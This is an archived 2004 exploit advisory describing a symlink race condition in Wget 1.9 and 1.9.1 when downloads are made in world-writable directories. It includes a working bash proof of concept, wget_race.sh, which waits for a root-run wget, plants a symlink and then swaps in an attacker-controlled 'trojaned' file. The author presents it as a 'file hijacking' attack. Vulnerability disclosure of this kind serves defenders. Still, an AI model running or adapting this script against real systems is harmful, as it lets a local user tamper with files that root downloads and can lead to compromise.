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wgetuhoh.txt

wgetuhoh.txt
Posted May 18, 2004
Authored by Hugo Vazquez

Wget versions 1.9 and 1.9.1 are susceptible to a symlink attack during a phase where it downloads the file to a temporary filename but does not actually lock the file.

tags | exploit
MD5 | 7883f0415aa5768d71876d6b6214fc75

wgetuhoh.txt

Change Mirror Download


Tested software: Wget 1.9, Wget 1.9.1

Wget checks for the presence of a file with the same name of the one invoqued at the command line, if the file exists, then it saves the downloaded file with a different name. The problem is that Wget does not lock the file, and directly writes to it. So there's a window time where Wget is exposed to a symlink attack
(only on world writable directories)

This is the attack sequence:

1) Wget process starts
2) File checking (but not locking!)
<--- attacker creates symlink
3) Wget writes on the wrong place


As a P.o.C. here you have a very simple script that exploits this flaw with an attack I have called: "file hijacking".

1)Open a shell and execute wget_race.sh with user A.
2)Open another shell and with root user launch wget from /tmp:
wget http://www.kernel.org/pub/linux/kernel/v2.4/patch-2.4.26.bz2
3) Check the content of /tmp/patch-2.4.26.bz2

Smile :-)



--------------- wget_race.sh ------------------------
#!/bin/bash

rm -f salida.txt pid.txt *.wget /tmp/patch-2.4.26.bz2
echo "1">salida.txt
a=`cat salida.txt`
echo "Waiting for Wget execution..."

while [ "$a" == 1 ]
do
ps auxw|grep wget|grep patch-2.4.26.bz2>>salida.txt
a=`cat salida.txt`
done

echo "Process catched!"
pgrep -u root wget>pid.txt
ln -s /dev/null /tmp/patch-2.4.26.bz2
echo "/dev/null link created!"
echo "Waiting for downloading to finish..."

b=`pgrep -u root wget`
touch $b.wget
c=1
while [ "$c" == 1 ]
do
if [ -e .wget ]
then
c=0
echo "Downloading finished! Let's delete the original file, and put our trojaned file :-)"
rm -f /tmp/patch-2.4.26.bz2
echo "Surprise!">/tmp/patch-2.4.26.bz2
echo "Does it worked?"

ls -la /tmp/patch-2.4.26.bz2

else
b=`pgrep -u root wget`
touch $b.wget

fi

done

-----------------------------------------------------

This flaw open a wide range of attack vectors.
Any program wich runs wget from a world writable directory is vulnerable.



Hugo Vazquez Caram├ęs

hugo@infohacking.com

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